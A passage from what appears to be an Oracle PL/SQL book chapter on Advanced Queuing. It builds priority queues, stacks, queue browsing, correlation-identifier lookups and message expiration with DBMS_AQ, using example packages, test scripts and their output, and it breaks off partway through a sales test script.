Suppose that I want to create a queue that manages messages of three different priorities: low, medium, and high. The rule is very simple: dequeue high-priority messages before medium-priority messages, and medium-priority messages before low-priority messages.

As you might expect, I would strongly urge that when faced with a task like this one, you immediately think in terms of building a package to encapsulate your different actions and make your code easier to use. In this scenario, for example, I don't really want users of my prioritized queue to have to know about specific priority numbers. Instead, I want to provide them with programs that hide the details and let them concentrate on their tasks.

The following specification for a package offers an interface to a three-level prioritization queue. The payload type for this queue is the same message_type described at the beginning of the example section.

/* Filename on companion disk: priority.spp */*
CREATE OR REPLACE PACKAGE priority
IS
   PROCEDURE enqueue_low (item IN VARCHAR2);

   PROCEDURE enqueue_medium (item IN VARCHAR2);

   PROCEDURE enqueue_high (item IN VARCHAR2);

   PROCEDURE dequeue (item OUT VARCHAR2);
END;
/

This is a very simple package specification. You can enqueue messages with one of three priorities, and you can dequeue messages. Here is a script that tests this package by helping me prioritize my chores for the evening:

/* Filename on companion disk: priority.tst */*
DECLARE
  str varchar2(100);
BEGIN
   priority.enqueue_low ('Cleaning the basement');
   priority.enqueue_high ('Cleaning the bathroom');
   priority.enqueue_high ('Helping Eli with his non-French homework');
   priority.enqueue_medium ('Washing the dishes');

   LOOP
      priority.dequeue (str);
      EXIT WHEN str IS NULL;
      DBMS_OUTPUT.PUT_LINE (str);
   END LOOP;
END;
/

I place four messages with different priorities in my queue. Notice that the order in which I enqueue does not correspond to the priorities. Let's run this script and see what I get:

SQL> @priority.tst
HIGH: Cleaning the bathroom
HIGH: Helping Eli with his non-French homework
MEDIUM: Washing the dishes
LOW: Cleaning the basement

As you can see, my messages have been dequeued in priority order.

You can view the entire package body in the priority.spp file. Let's take a look at the individual components I used to build this package. First, I define a set of constants as follows:

CREATE OR REPLACE PACKAGE BODY priority
IS
   c_qtable CONSTANT aq.name_type := 'hi_med_lo_q_table';
   c_queue CONSTANT aq.name_type := 'hi_med_lo_q';

   c_high CONSTANT   PLS_INTEGER := 1;
   c_medium CONSTANT PLS_INTEGER := 500000;
   c_low CONSTANT    PLS_INTEGER := 1000000;

I don't want to hard-code the names of my queue table and queue throughout my body, so I use constants instead. I also define constants for my three different priority levels. (Notice the space between these values; I will come back to that later.)

I have three different enqueue procedures to implement. Each of them performs the same basic steps. Here, for example, is the way I first implemented enqueue_low:

   PROCEDURE enqueue_low (item IN VARCHAR2)
   IS
      queueopts DBMS_AQ.ENQUEUE_OPTIONS_T;
      msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;
      item_obj message_type;
   BEGIN
      item_obj := message_type (priority, item);
      queueopts.visibility := DBMS_AQ.IMMEDIATE;
      msgprops.priority := c_low;
      DBMS_AQ.ENQUEUE (c_queue, queueopts, msgprops, item_obj, g_msgid);
   END;

I declare my records to hold the queue options and message properties. I construct the object to be placed in the queue. I request that the operation be immediately visible (no commit required) and set the priority. Once these steps are complete, I enqueue the message.

I finished this procedure and then embarked on enqueue_medium. I quickly discovered that the only difference between the two was the assignment to the msgprops.priority field. I just as quickly put the kibosh on this approach. It made no sense at all to me to write (or cut-and-paste) three different procedures with all that code when there was virtually no difference between them. Instead I wrote a single, generic enqueue as follows:

   PROCEDURE enqueue (item IN VARCHAR2, priority IN PLS_INTEGER)
   IS
      queueopts DBMS_AQ.ENQUEUE_OPTIONS_T;
      msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;
      item_obj message_type;
   BEGIN
      item_obj := message_type (priority, item);
      queueopts.visibility := DBMS_AQ.IMMEDIATE;
      msgprops.priority := priority;
      DBMS_AQ.ENQUEUE (c_queue, queueopts, msgprops, item_obj, g_msgid);
   END;

And then I implemented the priority-specific enqueue procedures on top of this one:

   PROCEDURE enqueue_low (item IN VARCHAR2)
   IS
   BEGIN
      enqueue (item, c_low);
   END;

   PROCEDURE enqueue_medium (item IN VARCHAR2)
   IS
   BEGIN
      enqueue (item, c_medium);
   END;

   PROCEDURE enqueue_high (item IN VARCHAR2)
   IS
   BEGIN
      enqueue (item, c_high);
   END;

It is extremely important that you always consolidate your code and modularize within package bodies as much as possible. You will then find it much easier to maintain and enhance your programs.

My enqueue procedures are now done. I have only a single dequeue and it is fairly straightforward:

   PROCEDURE dequeue (item OUT VARCHAR2)
   IS
      queueopts DBMS_AQ.DEQUEUE_OPTIONS_T;
      msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;
      item_obj message_type;
   BEGIN
      queueopts.wait := DBMS_AQ.NO_WAIT;
      queueopts.visibility := DBMS_AQ.IMMEDIATE;
      DBMS_AQ.DEQUEUE (c_queue, queueopts, msgprops, item_obj, g_msgid);
      item := priority_name (item_obj.title) || ': ' || item_obj.text;
   EXCEPTION
      WHEN OTHERS
      THEN
         IF SQLCODE = -25228 /* Timeout; queue is likely empty... */
         THEN
            item := NULL;
         ELSE
            RAISE;
         END IF;
   END;

Most of the code is taken up with the basic steps necessary for any dequeue operation: create the records, specify that I want the action to be immediately visible, and specify that AQ should not wait for messages to be queued. I then dequeue, and, if successful, construct the string to be passed back.

If the dequeue fails, I trap for a specific error that indicates that the queue was empty (ORA-025228). In this case, I set the item to NULL and return. Otherwise, I reraise the same error.

Notice that I call a function called priority_name as a part of my message passed back in dequeue. This function converts a priority number to a string or name as follows:

   FUNCTION priority_name (priority IN PLS_INTEGER) RETURN VARCHAR2
   IS
      retval VARCHAR2(30);
   BEGIN
      IF    priority = c_high THEN retval := 'HIGH';
      ELSIF priority = c_low THEN retval := 'LOW';
      ELSIF priority = c_medium THEN retval := 'MEDIUM';
      ELSE
         retval := 'Priority ' || TO_CHAR (priority);
      END IF;
      RETURN retval;
   END;

This function offers some consistency in how the priorities are named.

This package contains the following initialization section:

BEGIN
   /* Create the queue table and queue as necessary. */
   aq.create_priority_queue (c_qtable, 'message_type', c_queue);
END priority;

This line of code is run the first time any of your code references a program in this package. This aq procedure (see the earlier section, Section 5.7.1, "Improving AQ Ease of Use"") makes sure that all elements of the priority queue infrastructure are ready to go. If the queue table and queue are already in place, it will not do anything, including raise any errors.

Remember the comment I made about the big gaps between the priority numbers? Take a look at the body for the priority package. If you add the header of the generic enqueue procedure to the specification, this package will support not only high, low, and medium priorities, but also any priority number you want to pass to the enqueue procedure.

5.7.2.1 More complex prioritization approaches

In many situations, the priority may be established by relatively fluid database information. In this case, you should create a function that returns the priority for a record in a table. Suppose, for example, that you are building a student registration system and that priority is given to students according to their seniority: if a senior wants to get into a class, she gets priority over a freshman.

If I have a student object type as follows (much simplified from a real student registration system),

CREATE TYPE student_t IS OBJECT
   (name VARCHAR2(100),
    enrolled_on DATE);

and a table built upon that object type as follows:

CREATE TABLE student OF student_t;

I might create a function as follows to return the priority for a student:

CREATE OR REPLACE FUNCTION reg_priority (student_in IN student_t)
   RETURN PLS_INTEGER
IS
BEGIN
   RETURN -1 * TRUNC (SYSDATE - student_in.enrolled_on);
END;
/

Why did I multiply by -1 the difference between today's date and the enrolled date? Because the lower the number, the higher the priority.

Of course, this function could also be defined as a member of the object type itself.

5.7.3 Building a Stack with AQ Using Sequence Deviation

A queue is just one example of a "controlled access list." The usual definition of a queue is a FIFO list (first-in, first-out). Another type of list is a stack, which follows the LIFO rule: last-in, first-out. You can use AQ to build and manage persistent stacks with ease (its contents persist between connections to the database).

The files aqstk.spp and aqstk2.spp offer two different implementations of a stack using Oracle AQ. The package specifications in both cases are exactly the same and should be familiar to anyone who has worked with a stack:

CREATE OR REPLACE PACKAGE aqstk
IS
   PROCEDURE push (item IN VARCHAR2);
   PROCEDURE pop (item OUT VARCHAR2);
END;
/

You push an item onto the stack and pop an item off the stack. The differences between aqstk.spp and aqstk2.spp lie in the package body. A comparison of the two approaches will help you see how to take advantage of the many different flavors of queuing available.

The aqstk.spp file represents my first try at a stack implementation. I decided to create a prioritized queue. I then needed to come up with a way to make sure that the last item added to the queue always had the lowest priority. This is done by maintaining a global variable inside the package body (g_priority) to keep track of the priority of the most-recently enqueued message.

Every time I enqueue a new message, that global counter is decremented (lower number = higher priority) as shown in the following push procedure (bold lines show priority-related code):

   PROCEDURE push (item IN VARCHAR2)
   IS
      queueopts DBMS_AQ.ENQUEUE_OPTIONS_T;
      msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;
      msgid aq.msgid_type;
      item_obj aqstk_objtype;
   BEGIN
      item_obj := aqstk_objtype (item);
      msgprops.priority := g_priority;
      queueopts.visibility := DBMS_AQ.IMMEDIATE;
      g_priority := g_priority - 1;
      DBMS_AQ.ENQUEUE (c_queue, queueopts, msgprops, item_obj, msgid);
   END;

The problem with this approach is that each time you started anew using the stack package in your session, the global counter would be set at its initial value: 230. (I wanted to make sure that you didn't exhaust your priority values in a single session.) Why is that a problem? Because AQ queues are based in database tables and are persistent between connections. So if my stack still held a few items, it would be possible to end up with multiple items with the same priority.

To avoid this problem, I set up the initialization section of my stack package in aqstk.spp as follows:

 BEGIN
   /* Drop the existing queue if present. */
   aq.stop_and_drop (c_queue_table);

   /* Create the queue table and queue as necessary. */
   aq.create_priority_queue (c_queue_table, 'aqstk_objtype', c_queue);
 END aqstk;

In other words: wipe out the existing stack queue table, and queue and recreate it. Any leftover items in the stack will be discarded.

That approach makes sense if I don't want my stack to stick around. But why build a stack on Oracle AQ if you don't want to take advantage of the persistence? I decided to go back to the drawing board and see if there was a way to always dequeue from the top without relying on some external (to AQ) counter.

I soon discovered the sequence deviation field of the enqueue options record. This field allows you to request a deviation from the normal sequencing for a message in a queue. The following values can be assigned to this field:

DBMS_AQ.BEFORE

The message is enqueued ahead of the message specified by relative_msgid.

DBMS_AQ.TOP

The message is enqueued ahead of any other messages.

NULL (the default)

There is no deviation from the normal sequence.

So it seemed that if I wanted my queue to act like a stack, I simply had to specify "top" for each new message coming into the queue. With this in mind, I created my push procedure as follows:

   PROCEDURE push (item IN VARCHAR2)
   IS
      queueopts DBMS_AQ.ENQUEUE_OPTIONS_T;
      msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;
      item_obj aqstk_objtype;
   BEGIN
      item_obj := aqstk_objtype (item);
      queueopts.sequence_deviation := DBMS_AQ.TOP;
      queueopts.visibility := DBMS_AQ.IMMEDIATE;
      DBMS_AQ.ENQUEUE (c_queue, queueopts, msgprops, item_obj, g_msgid);
   END;

My pop procedure could now perform an almost-normal dequeue as follows:

   PROCEDURE pop (item OUT VARCHAR2)
   IS
      queueopts DBMS_AQ.DEQUEUE_OPTIONS_T;
      msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;
      msgid aq.msgid_type;
      item_obj aqstk_objtype;
   BEGIN
      /* Workaround for 8.0.3 bug; insist on dequeuing of first message. */
      queueopts.navigation := DBMS_AQ.FIRST_MESSAGE;

      queueopts.wait := DBMS_AQ.NO_WAIT;
      queueopts.visibility := DBMS_AQ.IMMEDIATE;
      DBMS_AQ.DEQUEUE (c_queue, queueopts, msgprops, item_obj, g_msgid);
      item := item_obj.item;
   END;

Notice that the first line of this procedure contains a workaround. A bug in Oracle 8.0.3 requires that I insist on dequeuing of the first message (which is always the last-enqueued message, since I used sequence deviation) to avoid raising an error. I was not able to confirm by the time of this book's printing whether this was necessary in Oracle 8.0.4.

With this second implementation of a stack, I no longer need or want to destroy the queue table and queue for each new connection. As a consequence, my package initialization section simply makes sure that all the necessary AQ objects are in place:

BEGIN
   /* Create the queue table and queue as necessary. */
   aq.create_queue ('aqstk_table', 'aqstk_objtype', c_queue);
END aqstk;

So you have two choices with a stack implementation (and probably more, but this is all I am going to offer):

aqstk.spp

A stack that is refreshed each time you reconnnect to Oracle.

aqstk2.spp

A stack whose contents persist between connections to the Oracle database.

5.7.4 Browsing a Queue's Contents

One very handy feature of Oracle AQ is the ability to retrieve messages from a queue in a nondestructive fashion. In other words, you can read a message from the queue without removing it from the queue at the same time. Removing on dequeue is the default mode of AQ (at least for messages that are not part of a message group). However, you can override that default by requesting BROWSE mode when dequeuing.

Suppose that I am building a student registration system. Students make requests for one or more classes and their requests go into a queue. Another program dequeues these requests (destructively) and fills the classes. But what if a student drops out? All of their requests must be removed from the queue. To perform this task, I must scan through the queue contents, but remove destructively only when I find a match on the student social security number. To illustrate these steps, I create an object type for a student's request to enroll in a class:

/* Filename on companion disk: aqbrowse.sp */*
CREATE TYPE student_reg_t IS OBJECT
   (ssn VARCHAR2(11),
    class_requested VARCHAR2(100));
/

I then build a drop_student procedure, which scans the contents of a queue of previous objects of the type. The algorithm used is quite simple: within a simple LOOP, dequeue messages in BROWSE mode. If a match is found, dequeue in REMOVE mode for that specific message by its unique message identifier. Then continue in BROWSE mode until there aren't any more messages to be checked.

/* Filename on companion disk: aqbrowse.sp */*
CREATE OR REPLACE PROCEDURE drop_student (queue IN VARCHAR2, ssn_in IN VARCHAR2)
IS
   student student_reg_t;
   v_msgid aq.msgid_type;
   queue_changed BOOLEAN := FALSE;

   queueopts DBMS_AQ.DEQUEUE_OPTIONS_T;
   msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;

   /* Translate mode number to a name. */
   FUNCTION mode_name (mode_in IN INTEGER) RETURN VARCHAR2
   IS
   BEGIN
      IF    mode_in = DBMS_AQ.REMOVE THEN RETURN 'REMOVE';
      ELSIF mode_in = DBMS_AQ.BROWSE THEN RETURN 'BROWSE';
      END IF;
   END;

   /* Avoid any redundancy; doing two dequeues, only difference is the
      dequeue mode and possibly the message ID to be dequeued. */
   PROCEDURE dequeue (mode_in IN INTEGER)
   IS
   BEGIN
      queueopts.dequeue_mode := mode_in;
      queueopts.wait := DBMS_AQ.NO_WAIT;
      queueopts.visibility := DBMS_AQ.IMMEDIATE;

      IF mode_in = DBMS_AQ.REMOVE
      THEN
         queueopts.msgid := v_msgid;
         queue_changed := TRUE;
      ELSE
         queueopts.msgid := NULL;
      END IF;

      DBMS_AQ.DEQUEUE (queue_name => queue,
         dequeue_options => queueopts,
         message_properties => msgprops,
         payload => student,
         msgid => v_msgid);

      DBMS_OUTPUT.PUT_LINE
          ('Dequeued-' || mode_name (mode_in) || ' ' || student.ssn ||
           ' class ' || student.class_requested);
   END;
BEGIN
   LOOP
      /* Non-destructive dequeue */
      dequeue (DBMS_AQ.BROWSE);

      /* Is this the student I am dropping? */
      IF student.ssn = ssn_in
      THEN
         /* Shift to destructive mode and remove from queue.
            In this case I request the dequeue by msg ID.
            This approach completely bypasses the normal order
            for dequeuing. */
         dequeue (DBMS_AQ.REMOVE);
      END IF;
   END LOOP;

EXCEPTION
   WHEN aq.dequeue_timeout
   THEN
      IF queue_changed
      THEN
         COMMIT;
      END IF;
END;
/

Notice that even in this relatively small program, I still create a local or nested procedure to avoid writing all of the dequeue code twice. It also makes the main body of the program more readable. I also keep track of whether any messages have been removed, in which case queue_changed is TRUE. I also perform a commit to save those changes as a single transaction.

Here is a script I wrote to test the functionality of the drop_student procedure:

/* Filename on companion disk: aqbrowse.tst */*
DECLARE
   queueopts DBMS_AQ.ENQUEUE_OPTIONS_T;
   msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;
   student student_reg_t;
   v_msgid aq.msgid_type;
BEGIN
   aq.stop_and_drop ('reg_queue_table');

   aq.create_queue ('reg_queue_table', 'student_reg_t', 'reg_queue');

   queueopts.visibility := DBMS_AQ.IMMEDIATE;

   student := student_reg_t ('123-46-8888', 'Politics 101');
   DBMS_AQ.ENQUEUE ('reg_queue', queueopts, msgprops, student, v_msgid);

   student := student_reg_t ('555-09-1798', 'Politics 101');
   DBMS_AQ.ENQUEUE ('reg_queue', queueopts, msgprops, student, v_msgid);

   student := student_reg_t ('987-65-4321', 'Politics 101');
   DBMS_AQ.ENQUEUE ('reg_queue', queueopts, msgprops, student, v_msgid);

   student := student_reg_t ('123-46-8888', 'Philosophy 101');
   DBMS_AQ.ENQUEUE ('reg_queue', queueopts, msgprops, student, v_msgid);

   DBMS_OUTPUT.PUT_LINE ('Messages in queue: ' ||
      aq.msgcount ('reg_queue_table', 'reg_queue'));

   drop_student ('reg_queue', '123-46-8888');

   DBMS_OUTPUT.PUT_LINE ('Messages in queue: ' ||
      aq.msgcount ('reg_queue_table', 'reg_queue'));
END;
/

Here is an explanation of the different elements of the test script:

  • Since this is a test, I first get rid of any existing queue elements and recreate them. This guarantees that my queue is empty when I start the test.

  • I then perform four enqueues to the registration queue. In each case, I use the constructor method for the object type to construct an object. I then place that object on the queue. Notice that there are two requests for class enrollments for 123-46-8888 (the first and fourth enqueues).

  • Next, I call my handy aq.msgcount function to verify that there are four messages in the queue.

  • Time to scan and remove! I request that all class requests for the student with the 123-46-8888 social security number be dropped.

  • Finally, I check the number of messages remaining in the queue (should be just two).

Here is the output from execution of the test script:

SQL> @aqbrowse.tst
stopping AQ$_REG_QUEUE_TABLE_E
dropping AQ$_REG_QUEUE_TABLE_E
stopping REG_QUEUE
dropping REG_QUEUE
dropping reg_queue_table
Messages in queue: 4
Dequeued-BROWSE 123-46-8888  class Politics 101
Dequeued-REMOVE 123-46-8888  class Politics 101
Dequeued-BROWSE 555-09-1798  class Politics 101
Dequeued-BROWSE 987-65-4321  class Politics 101
Dequeued-BROWSE 123-46-8888  class Philosophy 101
Dequeued-REMOVE 123-46-8888  class Philosophy 101
Messages in queue: 2

The first five lines of output show the drop-and-create phase of the script. It then verifies four messages in the queue. Next, you can see the loop processing. It browses the first entry, finds a match, and then dequeues in REMOVE mode. Three browsing dequeues later, it finds another match, does the remove dequeue, and is then done.

5.7.4.1 A template for a show_queue procedure

You can also take advantage of BROWSE mode to display the current contents of a queue. The following code offers a template for the kind of procedure you would write. (It is only a template because you will need to modify it for each different object type (or RAW data) you are queueing.)

/* Filename on companion disk: aqshowq.sp */*
CREATE OR REPLACE PROCEDURE show_queue (queue IN VARCHAR2)
IS
/* A generic program to dequeue in browse mode from a queue to
   display its current contents.

   YOU MUST MODIFY THIS FOR YOUR SPECIFIC OBJECT TYPE.
*/
   obj <YOUR OBJECT TYPE>;
   v_msgid aq.msgid_type;

   queueopts DBMS_AQ.DEQUEUE_OPTIONS_T;
   msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;

   first_dequeue BOOLEAN := TRUE;
BEGIN
   LOOP
      /* Non-destructive dequeue */
      queueopts.dequeue_mode := DBMS_AQ.BROWSE;
      queueopts.wait := DBMS_AQ.NO_WAIT;
      queueopts.visibility := DBMS_AQ.IMMEDIATE;

      DBMS_AQ.DEQUEUE (queue_name => queue,
         dequeue_options => queueopts,
         message_properties => msgprops,
         payload => obj,
         msgid => v_msgid);

      /* Now display whatever you want here. */
      IF first_dequeue
      THEN
         DBMS_OUTPUT.PUT_LINE ('YOUR HEADER HERE');
         first_dequeue := FALSE;
      END IF;

      DBMS_OUTPUT.PUT_LINE ('YOUR DATA HERE');
   END LOOP;

EXCEPTION
   WHEN aq.dequeue_timeout
   THEN
      NULL;
END;
/

Check out the aqcorrid.spp file (and the layaway.display procedure), described in the next section, for an example of the way I took this template file and modified it for a specific queue.

5.7.5 Searching by Correlation Identifier

You don't have to rely on message identifiers in order to dequeue a specific message from a queue. You can also use application-specific data by setting the correlation identifier.

Suppose that I maintain a queue for holiday shopping layaways. All year long, shoppers have been giving me money towards the purchase of their favorite bean-bag stuffed animal. I keep track of the requested animal and the balance remaining in a queue of the following object type (found in aqcorrid.spp):

CREATE TYPE layaway_t IS OBJECT
   (animal VARCHAR2(30),
    held_for VARCHAR2(100),
    balance NUMBER
   );
/

When a person has fully paid for his or her animal, I will remove the message from the queue and store it in a separate database table. Therefore, I need to be able to identify that message by the customer and the animal for which they have paid. I can use the correlation identifier to accomplish this task.

Here is the package specification I have built to manage my layaway queue:

/* Filename on companion disk: aqcorrid.spp */*
CREATE OR REPLACE PACKAGE BODY layaway
IS
   FUNCTION one_animal (customer_in IN VARCHAR2, animal_in IN VARCHAR2)
      RETURN layaway_t;

   PROCEDURE make_payment
      (customer_in IN VARCHAR2,
       animal_in IN VARCHAR2,
       payment_in IN NUMBER);

   PROCEDURE display
      (customer_in IN VARCHAR2 := '%', animal_in IN VARCHAR2 := '%');
 END layaway;
/

The layaway.one_animal function retrieves the specified animal from the queue utilizing the correlation identifier. The layaway.make_payment procedure records a payment for that stuffed animal (and decrements the remaining balance). The layaway.display procedure displays the contents of the queue by dequeuing in BROWSE mode.

I built a script to test this package as follows:

/* Filename on companion disk: aqcorrid.tst */*
DECLARE
   obj layaway_t;
BEGIN
   layaway.make_payment ('Eli', 'Unicorn', 10);

   layaway.make_payment ('Steven', 'Dragon', 5);

   layaway.make_payment ('Veva', 'Sun Conure', 12);

   layaway.make_payment ('Chris', 'Big Fat Cat', 8);

   layaway.display;

   obj := layaway.one_animal ('Veva', 'Sun Conure');

   DBMS_OUTPUT.PUT_LINE ('** Retrieved ' || obj.animal);
END;
/

Notice that I do not have to deal with the layaway object type unless I am retrieving an animal for final processing (i.e., the customer has paid the full amount and it is time to hand that adorable little pretend animal over the counter).

Here is the output from my test script:

SQL> @aqcorrid.tst
Customer             Animal               Balance
Eli                  Unicorn               39.95
Steven               Dragon                44.95
Veva                 Sun Conure            37.95
Chris                Big Fat Cat           41.95
** Retrieved Sun Conure

And if I run the same script twice more, I see the following:

SQL> @aqcorrid.tst
Input truncated to 1 characters
Customer             Animal               Balance
Steven               Dragon                39.95
Veva                 Sun Conure            37.95
Eli                  Unicorn               29.95
Chris                Big Fat Cat           33.95
** Retrieved Sun Conure

PL/SQL procedure successfully completed.

SQL> @aqcorrid.tst
Input truncated to 1 characters
Customer             Animal               Balance
Veva                 Sun Conure            37.95
Eli                  Unicorn               19.95
Steven               Dragon                34.95
Chris                Big Fat Cat           25.95
** Retrieved Sun Conure

Notice that the order of messages in the queue changes each time (as well as the balance remaining). That happens because I am dequeuing and enqueuing back into the queue. Since I have not specified any priority for the queue table, it always dequeues (for purposes of display) those messages most recently enqueued.

Let's now take a look at the implementation of this package (also found in aqcorrid.spp). Let's start with the one_animal function:

FUNCTION one_animal (customer_in IN VARCHAR2, animal_in IN VARCHAR2)
   RETURN layaway_t
IS
   queueopts DBMS_AQ.DEQUEUE_OPTIONS_T;
   msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;

   retval layaway_t;
BEGIN
   /* Take immediate effect; no commit required. */
   queueopts.wait := DBMS_AQ.NO_WAIT;
   queueopts.visibility := DBMS_AQ.IMMEDIATE;

   /* Retrieve only the message for this correlation identifier. */
   queueopts.correlation := corr_id (customer_in, animal_in);

   /* Reset the navigation location to the first message. */
   queueopts.navigation := DBMS_AQ.FIRST_MESSAGE;

   /* Locate the entry by correlation identifier and return the object. */
   DBMS_AQ.DEQUEUE (c_queue, queueopts, msgprops, retval, g_msgid);

   RETURN retval;

EXCEPTION
   WHEN aq.dequeue_timeout
   THEN
      /* Return a NULL object. */
      RETURN layaway_t (NULL, NULL, 0);
END;

Most of this is standard enqueue processing. The lines that are pertinent to using the correlation ID are in boldface. I set the correlation field of the dequeue options to the string returned by the corr_id function (shown next). I also set the navigation for the dequeue operation to the first message in the queue. I do this to make sure that Oracle AQ starts from the beginning of the queue to search for a match. If I do not take this step, then I raise the following exception when running my aqcorrid.tst script more than once in a session:

ORA-25237: navigation option used out of sequence

This behavior may be related to bugs in the Oracle 8.0.3 release, but the inclusion of the navigation field setting definitely takes care of the problem.

So when I dequeue from the layaway queue, I always specify that I want the first message with a matching correlation string. I have hidden away the construction of that string behind the following function:

FUNCTION corr_id  (customer_in IN VARCHAR2, animal_in IN VARCHAR2)
   RETURN VARCHAR2
IS
BEGIN
   RETURN UPPER (customer_in || '.' || animal_in);
END;

I have taken this step because I also need to create a correlation string when I enqueue (shown in the following make_payment procedure). In order to minimize maintenance and reduce the chance of introducing bugs into my code, I do not want this concatenation logic to appear more than once in my package.

Here is the make_payment procedure:

PROCEDURE make_payment
   (customer_in IN VARCHAR2, animal_in IN VARCHAR2, payment_in IN NUMBER)
IS
   queueopts DBMS_AQ.ENQUEUE_OPTIONS_T;
   msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;
   layaway_obj layaway_t;
BEGIN
   /* Locate this entry in the queue by calling the function.
      If found, decrement the balance and reinsert into the queue.
      If not found, enqueue a new message to the queue. For example
      purposes, the price of all my bean-bag animals is $49.95. */

   layaway_obj := one_animal (customer_in, animal_in);

   /* Adjust the balance. We SHOULD check for 0 or negative values,
      and not requeue if finished. I will leave that to the reader. */

   IF layaway_obj.animal IS NOT NULL
   THEN
      layaway_obj.balance := layaway_obj.balance - payment_in;
   ELSE
      /* Construct new object for enqueue, setting up initial balance. */
      layaway_obj := layaway_t (animal_in, customer_in, 49.95 - payment_in);
   END IF;

   /* Don't wait for a commit. */
   queueopts.visibility := DBMS_AQ.IMMEDIATE;

   /* Set the correlation identifier for this message. */
   msgprops.correlation := corr_id (customer_in, animal_in);

   DBMS_AQ.ENQUEUE (c_queue, queueopts, msgprops, layaway_obj, g_msgid);
END;

The first thing that make_payment does is attempt to retrieve an existing queue entry for this customer-animal combination by calling one_animal. Again, notice that I do not repeat the dequeue logic in make_payment. I am always careful to reuse existing code elements whenever possible. If I find a match (the animal field is not NULL; see the exception section in one_animal to understand how I set the "message not found" values in the returned object), then I update the remaining balance. If no match is found, then I construct an object to be placed in the queue.

Once my layaway object has been updated or created, I set the correlation identifier by calling the same corr_id function. Notice that when I enqueue, I set the correlation field of the message properties record. When I dequeue, on the other hand, I set the correlation field of the dequeue options record. Finally, I enqueue my object.

5.7.5.1 Wildcarded correlation identifiers

You can also specify wildcard comparisons with the correlation identifier, using the standard SQL wildcarding characters _ (single-character substitution) and % (multiple-character substitution).

For example, if I set the value of "S%" for my queue options correlation field, as follows, then AQ will find a correlation for any message whose correlation identifier starts with an upper-case "S."

 queueopts.correlation := "S%";

5.7.5.1.1 Tips for using the correlation identifier

When you are using the correlation identifier, remember these tips:

  • When you enqueue, set the correlation field of the message properties record.

  • When you dequeue, set the correlation field of the dequeue options record.

  • Before you dequeue, set the navigation field of the dequeue options record to DBMS_AQ.FIRST_MESSAGE to avoid out-of-sequence errors.

5.7.6 Using Time Delay and Expiration

If you have started the Queue Monitor process, you can set up queues so that messages cannot be dequeued for a period of time. You can also specify that a message will expire after a certain amount of time has passed. These features come in handy when messages in your queue have a "window of applicability" (in other words, when there is a specific period of time in which a message should or should not be available for dequeuing).

If a message is not dequeued before it expires, that message is automatically moved to the exception queue (either the default exception queue associated with the underlying queue table or the exception queue specified at enqueue time). Remember that the time of expiration is calculated from the earlier dequeuing time. So if you specify a delay of one week (and you do this in seconds, as in 7 � 24 � 60 � 60) and an expiration of two weeks, the message would expire (if not dequeued) in three weeks.

To delay the time when a message can be dequeued, modify the delay field of the message properties record. Modify the expiration time by setting a value for the expiration field of the message properties record.

Now let's see how to use the expiration feature on messages to manage sales for products in my store. I created the following object type:

CREATE TYPE sale_t IS OBJECT
   (product VARCHAR2(30),
    sales_price NUMBER
   );
/

Here are the rules I want to follow:

  • A product goes on sale for a specific price in a given period (between start and end dates).

  • Every product that is on sale goes into my sales queue. When a message is enqueued, I compute the delay and expiration values based on the start and end dates.

  • I can then check to see if a product is on sale by checking my sales queue: if I can dequeue it (nondestructively: that is, in BROWSE mode) successfully, then it is on sale.

  • I never dequeue in REMOVE mode from the sales queue. Instead, I simply let the Queue Monitor automatically move the product from the sales queue to the exception queue when that message expires.

To hide all of these details from my application developers (who in turn will hide all programmatic details from their users, the people pushing buttons on a screen), I will construct a package. Here's the specification for this sale package:

/* Filename on companion disk: aqtiming.spp */*
CREATE OR REPLACE PACKAGE sale
IS
   FUNCTION onsale (product_in IN VARCHAR2) RETURN BOOLEAN;

   PROCEDURE mark_for_sale
      (product_in IN VARCHAR2,
       price_in IN NUMBER,
       starts_on IN DATE,
       ends_on IN DATE);

   PROCEDURE show_expired_sales;

END sale;
/

So I can check to see if the Captain Planet game is on sale as follows:

IF sale.onsale ('captain planet')
THEN
   ...
END IF;

I can mark Captain Planet for a special sales price of $15.95 during the month of December as follows:

sale.mark_for_sale (
   'captain planet',
   15.95,
   TO_DATE ('01-DEC-97'),
   TO_DATE ('31-DEC-97'));

Finally, I can at any time display those products whose sales windows have expired as follows:

SQL> exec sale.show_expired_sales;

To test this code, I put together the following scripts. First, I create the queue table, queue for sales, and exception queue for sale items that expire in the original sales queue.

/* Filename on companion disk: aqtiming.ins */*
DECLARE
   c_qtable CONSTANT aq.name_type := 'sale_qtable';
   c_queue CONSTANT aq.name_type := 'sale_queue';
   c_exc_queue CONSTANT aq.name_type := 'sale_exc_queue';

BEGIN
   /* Create the queue table and queue as necessary. */
   aq.create_queue (c_qtable, 'sale_t', c_queue);

   /* Create a special exception queue for expired sales listings. */
   aq.create_queue (c_qtable, 'sale_t', c_exc_queue,
      qtype => DBMS_AQADM.EXCEPTION_QUEUE);
END sale;
/

I then combine a number of sales-related operations into a single script:

NOTE: To run this script, you must have EXECUTE privilege on DBMS_LOCK. If you do not will see this error:

PLS-00201: identifier 'SYS.DBMS_LOCK' must be declared

You or your DBA must connect to SYS and issue this command:

GRANT EXECUTE ON DBMS_LOCK TO PUBLIC;

/* Filename on companion disk: aqtiming.tst */*
DECLARE
   FUNCTION seconds_from_now (num IN INTEGER) RETURN DATE
   IS
   BEGIN
      RETURN SYSDATE + num / (24 * 60 * 60);
   END;

   PROCEDURE show_sales_status (product_in IN VARCHAR2)
   IS
      v_onsale BOOLEAN := sale.onsale (product_in);
      v_qualifier VARCHAR2(5) := NULL;
   BEGIN
      IF NOT v_onsale
      THEN
         v_qualifier := ' not';
      END IF;

      DBMS_OUTPUT.PUT_LINE (product_in ||
         ' is' || v_qualifier || ' on sale at ' ||
         TO_CHAR (SYSDATE, 'HH:MI:SS'));
   END;
BEGIN
   DBMS_OUTPUT.PUT_LINE ('Start test at ' || TO_CHAR (SYSDATE, 'HH:MI:SS'));

   sale.mark_for_sale ('Captain Planet', 15.95,
      seconds_from_now (30), seconds_from_now (50));

